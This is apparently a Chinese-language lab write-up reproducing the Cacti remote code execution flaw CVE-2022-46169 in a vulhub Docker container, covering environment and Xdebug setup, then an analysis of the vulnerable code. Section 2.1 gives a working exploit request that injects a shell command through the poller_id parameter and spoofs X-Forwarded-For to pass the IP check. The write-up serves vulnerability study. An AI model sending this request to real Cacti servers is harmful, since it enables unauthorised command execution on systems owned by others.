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复现cacti的RCE（CVE-2022-46169）

ds 2025/8/1 5:58:25

一、环境配置

1.1安装Docker

Linux

使用便捷脚本安装Docker：

curl -fsSL https://get.docker.com | sh

验证安装

验证Docker是否正确安装：

docker version

还要验证Docker Compose是否可用：

docker compose version

1.2拉取镜像

在 GitHub 上复制链接地址 vulhub。

 proproxychains git clone https://github.com/vulhub/vulhub

若没有设置代理则去掉proproxychains 拉取成功后，就能可以在本地看到 vulhub 文件夹：

1.3启动容器

进入 vulhub 文件夹内部的 cacti 文件内夹的 CVE-2022-46169 文件夹，在这里面输入命令：

 docker-compose up -d

然后浏览器访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录，并根据页面中的提示进行初始化。

根据页面中的提示进行初始化。实际上初始化的过程就是不断点击“下一步”，直到安装成功：

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以，我们在Cacti后台首页创建一个新的Graph：

选择的Graph Type是“Device - Uptime”，点击创建：

1.4 配置断点调试

首先物理机的 VScode 要安装好以下插件： Remote-ssh、Docker、dev containers。在使用 Vcode 远程连接虚拟机，连接容器的时候需要用到。

以上插件安装好之后的具体步骤如下：

创建容器：

docker exec -it <your-container>

安装Xdebug

pecl install xdebug-3.1.6
docker-php-ext-enable xdebug

编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini：

vi /usr/local/etc/php/conf.d/docker-php-ext-xdebug.inizend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
xdebug.client_host=host.docker.internal
xdebug.log=/tmp/xdebug.log

安装Cacti

apt update && apt install -y wget unzip
wget https://www.cacti.net/downloads/cacti-1.2.22.zip
unzip cacti-1.2.22.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/cacti-1.2.22

重启容器

exit
docker restart cve-2022-46169_web_1

使用 VScode 连接容器

到这里环境就已经搭建好了

二、复现分析

2.1漏洞利用

完成上述初始化后，我们切换到攻击者的角色。作为攻击者，发送如下数据包：

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

2.2 安全方面

2.2.1 输入验证

部分输入验证不足：
- 在 get_nfilter_request_var 和 get_filter_request_var 函数调用中，虽然有一些基本的过滤，但对于某些输入，如 oid 参数（在 get_snmp_data 和 get_snmp_data_walk 函数中），没有严格的验证。攻击者可能通过构造恶意的 OID 来进行攻击，例如利用 SNMP 漏洞进行信息泄露或拒绝服务攻击。
- 在 run_remote_discovery 函数中，$network 参数只经过 get_filter_request_var 处理，没有对其进行严格的网络地址格式验证，可能会导致命令注入风险，因为该参数会被拼接到命令行中执行。

2.2.2 授权验证

IP 地址和主机名验证：remote_client_authorized 函数通过比较客户端 IP 地址和主机名与数据库中存储的轮询器信息来进行授权验证。但这种验证方式存在一定的安全风险，因为主机名解析可能会受到 DNS 欺骗攻击的影响，攻击者可以通过伪造 DNS 响应来绕过授权验证。

2.2.3 命令注入风险

exec_background 和 exec_poll 调用：在 run_remote_discovery 函数中使用了 exec_background 函数执行命令，以及在 poll_for_data 函数中使用 exec_poll 执行脚本。如果输入参数没有经过严格的过滤和转义，可能会导致命令注入攻击。例如，攻击者可以通过构造恶意的输入来执行任意系统命令。